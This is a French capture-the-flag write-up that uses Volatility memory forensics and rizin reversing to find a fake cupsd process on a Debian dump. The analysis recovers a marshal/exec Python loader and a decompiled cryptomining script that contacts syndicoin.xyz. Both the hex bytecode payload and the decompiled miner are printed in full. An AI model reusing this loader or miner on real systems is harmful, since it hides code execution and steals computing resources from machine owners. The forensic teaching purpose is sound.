---
# System prepended metadata

title: Resolution Étape 5 - Sacré stagiaire
tags: [FIC]

---

---
title: Resolution Étape 5 - Sacré stagiaire
tags: FIC
---

# Writeup step5 A pkg to rule them all

[toc]

## Trouver le processsus malveillant

Nous conseillons d'utiliser volatility2.6 pour l'analyse de la mémoire, car la version 3 ne contient pas toutes les fonctionnalités dont le plugin proc_dump qui sera utilisé.

Puisque le logiciel est déprécié et utilise python 2.7 il peut être difficile à mettre en place. Nous conseillons d'utiliser le Dockerfile suivant pour simplifier l'utilisation.

```dockerfile=
FROM debian:buster-slim
LABEL maintainer "nik0chan@hotmail.com"

RUN apt-get update \
  && apt-get install -y binutils git python python-distorm3 python-crypto python-yara \
  && git clone https://github.com/volatilityfoundation/volatility.git \
  && git clone https://github.com/volatilityfoundation/profiles.git \
  && rm -rf /volatility/.git \
  && rm -rf /profiles/.git \
  && apt-get -y remove --purge git \
  && apt-get -y autoremove \
  && apt-get -y clean \
  && rm -rf /var/lib/apt/lists/* \
  && chmod +x /volatility/vol.py \
  && ln -s  /volatility/vol.py /usr/bin/volatility \
  && mkdir evidencias 
  
VOLUME /evidencias

WORKDIR /volatility
```

### Identifier le profil du dump

La première étape consiste à identifier l'OS d'où est issue le dump mémoire.
2 méthodes s'offrent alors :


- On peut d'abord faire `strings memory | grep ".*vmlinuz.*"` ou `strings memory | grep ".*linux.*"` qui devrait afficher des lignes telles que :
    ```
    ...
    BOOT_IMAGE=/boot/vmlinuz-4.19.0-18-amd64
    &Debian...
    ...
    ```
    Nous renseignant sur la distribution et la version du Kernel

- Ou alors utiliser volatility `python vol.py -f memory imageinfo` qui devrait également nous informer qu'il s'agit bien d'un linux Debian 4.19.0-18-amd64. Cependant, cette option peut prendre plus de temps.

### Créer un profil pour Debian-4.19.0-18-amd64

Pour cette étape, il vous faudra créer une machine virtuelle Debian avec le noyeau linux 4-19.0-18-amd64 ou tenter votre chance avec des profils Linux trouvés sur Internet.

Dans le cas où vous voudriez créer votre profil vous même: Installer Debian et une fois dessus :

```
apt install linux-image-4.19.0-18-amd64 linux-headers-4.19.0-18-amd64
```

Pour créer votre profil volatility2 vous devrez zippé deux éléments:

- `System.map` qui peut facilement s'obtenir depuis `/proc/kallsyms` de cette manière: `cat /proc/kallsyms | cut -f1 > System.map-4.19.0-18-amd64`
- `module.dwarf` qui peut être générer avec un outil de volatility2:
    ```
    git clone https://github.com/volatilityfoundation/volatility.git
    cd volatility/tools/linux
    make
    ```

Vous pouvez ensuite zipper votre profil `zip Debian.zip System.map-4.19.0-18-amd64 module.dwarf` et le copier sur votre machine d'analyse dans `volatility/plugins/linux/`
On peut récupérer le nom du profile ajouté avec la commande `python vol.py --info` et regarder dans la section `Profiles`. Dans notre cas, il s'agit de `LinuxDebianx64`.

### Lister les processus et trouver le suspect
    
On peut afficher la liste des processsus avec volatility: `python vol.py -f memory --profile=LiunxDebianx64 linux_pslist`


On a alors une liste de processus et on peut identifier le processus suspect.
On remarque que le processus `cupsd` apparaît deux fois et on se doute que le processus suspect est probablement celui qui n'a pas pour PPID 1.
**On identifie le processus suspect comme celui ayant pour PID 1152**


## Comprendre le processsus malveillant
### Dump le processus

On peut récupérer l'image du processus avec la commande `python vol.py -f memory --profile=LinuxDebianx64 linux_proc_dump -p 1152 -D .`

On obtient alors le fichier `cupsd.1152.0x400000`. On peut passer beaucoup de temps pour comprendre son fonctionnement mais la manière la plus simple de comprendre rapidement l'utilité du programme et de faire `strings cupsd.1152.0x400000`.

Comme cela, on peut comprendre d'une part que le programme utilise peu de fonctions et qu'elle se découpe en deux grandes catégories :

#### Curl
```
...
curl_easy_cleanup
curl_easy_init
curl_easy_setopt
curl_easy_perform
...
```

Nous apprenons que le processus fait probablement une ou plusieurs requêtes HTTP. On ne retrouve pas de string représentant une URI, mais la chaine `h:yc.:0tp/snionx50/t/diy0` semble être un anagramme d'une URI HTTP correcte.

On est donc obligé de reverse rapidement le fichier.


On cherche la string.

```
> rizin cupsd.1152.0x400000
-- Check your IO plugins with 'rizin -L'
[0x00401140]> / h:yc
Searching 4 bytes in [0x4044c8-0x404540]
hits: 0
Searching 4 bytes in [0x400000-0x4009f0]
hits: 0
Searching 4 bytes in [0x401000-0x4016dd]
hits: 0
Searching 4 bytes in [0x402000-0x4022b0]
hits: 1
Searching 4 bytes in [0x404090-0x4044c0]
hits: 0
Searching 4 bytes in [0x403da0-0x404090]
hits: 1
0x00402008 hit0_0 .h:yc.:0tp/snionxz50/.
0x00404008 hit0_1 .h:yc.:0tp/snionxz50/.
```

On analyse les cross references.

```
[0x00401140]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for classes
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00401140]> axt @ 0x00402008
sym.handle_metier 0x4014cc [DATA] mov edi, 0x402008
```

On analyse la fonction.

```
[0x00401140]> s 0x4014cc
[0x004014cc]> af
[0x004014cc]> pdf

```

La fonction est équivalente à ce code c.

```c
char *decrypt_string(const char *string) {
size_t length = strlen(string);

char *result = malloc((length + 1) * sizeof(char));
if (!string) {
return NULL;
}

size_t lengths[] = {
length / 4 + (length % 4 ? 1 : 0),
length / 4 * 2 + (length % 4 / 2),
length / 4 + length % 4 / 3
};

for (size_t i = 0; i < lengths[0]; i++) {
result[i * 4] = string[i];
}

for (size_t i = 0; i < lengths[1]; i++) {
result[1 + i * 2] = string[lengths[0] + i];
}

for (size_t i = 0; i < lengths[2]; i++) {
result[2 + i * 4] = string[lengths[0] + lengths[1] + i];
}

result[length] = 0;
return result;
}
```

**On peut donc retrouver la string qui est http://syndicoin.xyz:5000/.**

#### python
```
...
libpython3.7m.so1.0
PyRun_SimpleStringFlags
Py_Iinitialize
...
```

Nous apprenons que le processus exécute du code python.

En vue de la taille du programme, et qu'on ne trouve pas de chaîne pouvant correspondre on peut émettre l'hypothèse que **le programme télécharge du code python et l'execute**

On notera qu'essayer de deboguer le programme serait long est inefficiente par rapport à la solution précedente car on retrouve deux protections:
- Un `ptrace(TRACE_ME, ...)`
- Un calcul de checksum qui vérifie si le code des fonctions a été modifié avec par exemple l'ajout d'un `int 3`


### Chercher le code python exécuté

On va chercher dans les différentes parties de la mémoire du processus le code Python executé

Avec la commande `python vol.py -f memory --profile=LinuxDebian linux_proc_maps -p 1152` on peut afficher les différentes zones mémoires du processus malveillant.
Avec la commande `python vol.py -f memory --profile=LinuxDebian linux_dump_map -p 1152 -D .` on peut dump chacune de ces zones mémoires dans des fichiers.

On peut chercher dans chacun de ces fichiers des informations, mais ultimement le code Python se trouve dans la Heap dont on peut obtenir l'adresse de début grâce à la première commande.

```
Offset Pid Name Start End Flags Pgoff Major Minor Inode File Path
------------------ -------- -------------------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- ---------
...
0xffff9ec73807ee00 1152 cupsd 0x0000000001711000 0x0000000001903000 rw- 0x0 0 0 0 [heap]
...
```

On peut donc analyser le fichier `task.1152.0x1711000.vma`.


## Heap Analysis

```
> sha256sum task.1152.0x1711000.vma
9e99dcede0c90d77b7a260b8b034a00ea474574b7929b0f6f1a43f35e355a1d8  task.1152.0x1711000.vma

```


On sait que le code exécuté est du python. On peut donc rechercher des mots clef comme "import"

```
> rizin task.1152.0x1711000.vma
[0x00000000]> / import ~:0
Searching 6 bytes in [0x0-0x1f2000]
hits: 58
0x00027fc1 hit0_0 .aimport marshalimport .
```

Il suffit alors d'afficher avec `ps` la string (un certain de cycle d'essai erreur est nécessaire pour trouver la bonne taille).

```
[0x00000000]> s 0x00027fc1
[0x00027fc1]> ps 3153
import marshal
import re

tmp = "420d0d0a00000000d845b36126040000e300000000000000000000000003000000400000007360000000640064016c005a00640064016c015a01640064016c025a02640064016c035a03640064026c046d055a056d065a0601004700640364048400640483025a07781c650783005a086508a0096405a10101006508a00aa100010071405700640153002906e9000000004e2902da057061727365da0772657175657374630000000000000000000000000200000040000000732c00000065005a0164005a026401640284005a036403640484005a046405640684005a056407640884005a0664095300290ada054768617878630100000000000000030000000400000043000000733a0000007400a0016401a1017d017402a0037c01a004a100a1017d027c027c005f0564027c006a0564033c007c00a006a1007c006a0564043c006400530029054e7a23687474703a2f2f73796e6469636f696e2e78797a3a353030302f6c617374626c6f636b7201000000da056e6f6e6365da046861736829077203000000da0775726c6f70656eda046a736f6eda056c6f616473da0472656164da0464617461da0f5f616466767069656e7a786c6369682903da0473656c665a08726573706f6e73655a04626f6479a900720e000000fa11707974686f6e2f6d616c776172652e7079da085f5f696e69745f5f08000000730a00000000010a010e0206010a027a0e47686178782e5f5f696e69745f5f630100000000000000020000000500000043000000731e00000074007c006a0183017d017402a0037c01a0046401a101a101a005a100530029027a380a202020202020202061736466617364666173646661736466617364666173646661736466617364666161647366610a20202020202020207a057574662d382906da03737472720b000000da07686173686c69625a06736861323536da06656e636f64655a096865786469676573742902720d0000005a09686173685f64617461720e000000720e000000720f000000720c00000011000000730400000000040a017a1547686178782e5f616466767069656e7a786c6369686302000000000000000200000004000000430000007344000000783e7c006a006401190064027c018502190064037c0114006b03723e7c006a006404050019006405370003003c007c00a001a1007c006a0064013c00710257006402530029067a2a0a20202020202020206173646661736466617364666173666461736466666666660a202020202020202072060000004eda01307205000000e9010000002902720b000000720c0000002902720d0000005a0a646966666963756c7479720e000000720e000000720f000000da046463796518000000730600000000041c0112017a0a47686178782e64637965630100000000000000030000000400000043000000732c0000007400a0017c006a02a101a003a1007d0174046a0564017c0164028d027d027404a0067c02a10101006400530029034e7a23687474703a2f2f73796e6469636f696e2e78797a3a353030302f6c617374626c6f636b2901720b000000290772020000005a0975726c656e636f6465720b000000721300000072030000005a075265717565737472070000002903720d000000720b0000005a03726571720e000000720e000000720f000000da046f7a7869200000007306000000000110010e017a0a47686178782e6f7a78694e2907da085f5f6e616d655f5fda0a5f5f6d6f64756c655f5fda0c5f5f7175616c6e616d655f5f7210000000720c00000072160000007217000000720e000000720e000000720e000000720f0000007204000000070000007308000000080108090807080872040000007215000000290bda066261736536345a086461746574696d65721200000072080000005a0675726c6c69627202000000720300000072040000005a05786376776472160000007217000000720e000000720e000000720e000000720f000000da083c6d6f64756c653e010000007312000000080108010801080110020e1f020106010a01"
tmp = tmp[16 * 2:]

bytes_ = [int(byte, 16) for byte in re.findall('..', tmp)]
bytes_ = bytes(bytes_)

eggs = marshal.loads(bytes_)
exec(eggs)
```

On peut alors dump le script python.

```
[0x00027fc1]> ps 3153 > dump_python_script
```

On supprime bien toute ligne vide avant ou après le début du script.

```
> sha256sum dump_python_script
667b1007ac1b8b31703160081e5f224fa324aee889cbb2606935c9285e1622ea  dump_python_script
```

Le script python exécute un pyc avec `marshal`, on peut donc modifier en place le code pour écrire le code du pyc chargé par marshal.

```python
import re

tmp = "420d0d0a00000000d845b36126040000e300000000000000000000000003000000400000007360000000640064016c005a00640064016c015a01640064016c025a02640064016c035a03640064026c046d055a056d065a0601004700640364048400640483025a07781c650783005a086508a0096405a10101006508a00aa100010071405700640153002906e9000000004e2902da057061727365da0772657175657374630000000000000000000000000200000040000000732c00000065005a0164005a026401640284005a036403640484005a046405640684005a056407640884005a0664095300290ada054768617878630100000000000000030000000400000043000000733a0000007400a0016401a1017d017402a0037c01a004a100a1017d027c027c005f0564027c006a0564033c007c00a006a1007c006a0564043c006400530029054e7a23687474703a2f2f73796e6469636f696e2e78797a3a353030302f6c617374626c6f636b7201000000da056e6f6e6365da046861736829077203000000da0775726c6f70656eda046a736f6eda056c6f616473da0472656164da0464617461da0f5f616466767069656e7a786c6369682903da0473656c665a08726573706f6e73655a04626f6479a900720e000000fa11707974686f6e2f6d616c776172652e7079da085f5f696e69745f5f08000000730a00000000010a010e0206010a027a0e47686178782e5f5f696e69745f5f630100000000000000020000000500000043000000731e00000074007c006a0183017d017402a0037c01a0046401a101a101a005a100530029027a380a202020202020202061736466617364666173646661736466617364666173646661736466617364666161647366610a20202020202020207a057574662d382906da03737472720b000000da07686173686c69625a06736861323536da06656e636f64655a096865786469676573742902720d0000005a09686173685f64617461720e000000720e000000720f000000720c00000011000000730400000000040a017a1547686178782e5f616466767069656e7a786c6369686302000000000000000200000004000000430000007344000000783e7c006a006401190064027c018502190064037c0114006b03723e7c006a006404050019006405370003003c007c00a001a1007c006a0064013c00710257006402530029067a2a0a20202020202020206173646661736466617364666173666461736466666666660a202020202020202072060000004eda01307205000000e9010000002902720b000000720c0000002902720d0000005a0a646966666963756c7479720e000000720e000000720f000000da046463796518000000730600000000041c0112017a0a47686178782e64637965630100000000000000030000000400000043000000732c0000007400a0017c006a02a101a003a1007d0174046a0564017c0164028d027d027404a0067c02a10101006400530029034e7a23687474703a2f2f73796e6469636f696e2e78797a3a353030302f6c617374626c6f636b2901720b000000290772020000005a0975726c656e636f6465720b000000721300000072030000005a075265717565737472070000002903720d000000720b0000005a03726571720e000000720e000000720f000000da046f7a7869200000007306000000000110010e017a0a47686178782e6f7a78694e2907da085f5f6e616d655f5fda0a5f5f6d6f64756c655f5fda0c5f5f7175616c6e616d655f5f7210000000720c00000072160000007217000000720e000000720e000000720e000000720f0000007204000000070000007308000000080108090807080872040000007215000000290bda066261736536345a086461746574696d65721200000072080000005a0675726c6c69627202000000720300000072040000005a05786376776472160000007217000000720e000000720e000000720e000000720f000000da083c6d6f64756c653e010000007312000000080108010801080110020e1f020106010a01"

bytes_ = [int(byte, 16) for byte in re.findall('..', tmp)]
bytes_ = bytes(bytes_)

with open("dump_script_python.pyc", "wb") as file:
    file.write(bytes_)
```

Le fichier est bien reconnu comme un fichier byte-code python.

```
> file dump_script_python.pyc
dump_script_python.pyc: python 3.7 byte-compiled
> sha256sum dump_script_python.pyc
0d778d397e9ab7765aae1e1e507ab42b84f9b62d0b693a45eb1f1e742235ef95  dump_script_python.pyc
```

Le script python ne semble pas avoir été fortement offusqué. On peut donc simplement utilisé un décompilateur pour retirer les informations pertinantes même si le script n'est pas parfaitement traduit.

```python
> pycdc dump_script_python.pyc
# Source Generated with Decompyle++
# File: dump_script_python.pyc (Python 3.7)

import base64
import datetime
import hashlib
import json
from urllib import parse, request

class Ghaxx:

    def __init__(self):
        response = request.urlopen('http://syndicoin.xyz:5000/lastblock')
        body = json.loads(response.read())
        self.data = body
        self.data['nonce'] = 0
        self.data['hash'] = self._adfvpienzxlcih()


    def _adfvpienzxlcih(self):
        '''
        asdfasdfasdfasdfasdfasdfasdfasdfaadsfa
        '''
        hash_data = str(self.data)
        return hashlib.sha256(hash_data.encode('utf-8')).hexdigest()


    def dcye(self, difficulty):
        '''
        asdfasdfasdfasfdasdfffff
        '''
        while self.data['hash'][:difficulty] != '0' * difficulty:
            self.data['nonce'] += 1
            self.data['hash'] = self._adfvpienzxlcih()


    def ozxi(self):
        data = parse.urlencode(self.data).encode()
        req = request.Request('http://syndicoin.xyz:5000/lastblock', data, **('data',))
        request.urlopen(req)


while None:
    xcvwd = Ghaxx()
    xcvwd.ozxi()
```

Le script suit un schéma simplifié de blockchain. Et utilise l'url http://syndicoin.xyz:5000/lastblock pour stocker le dernier block.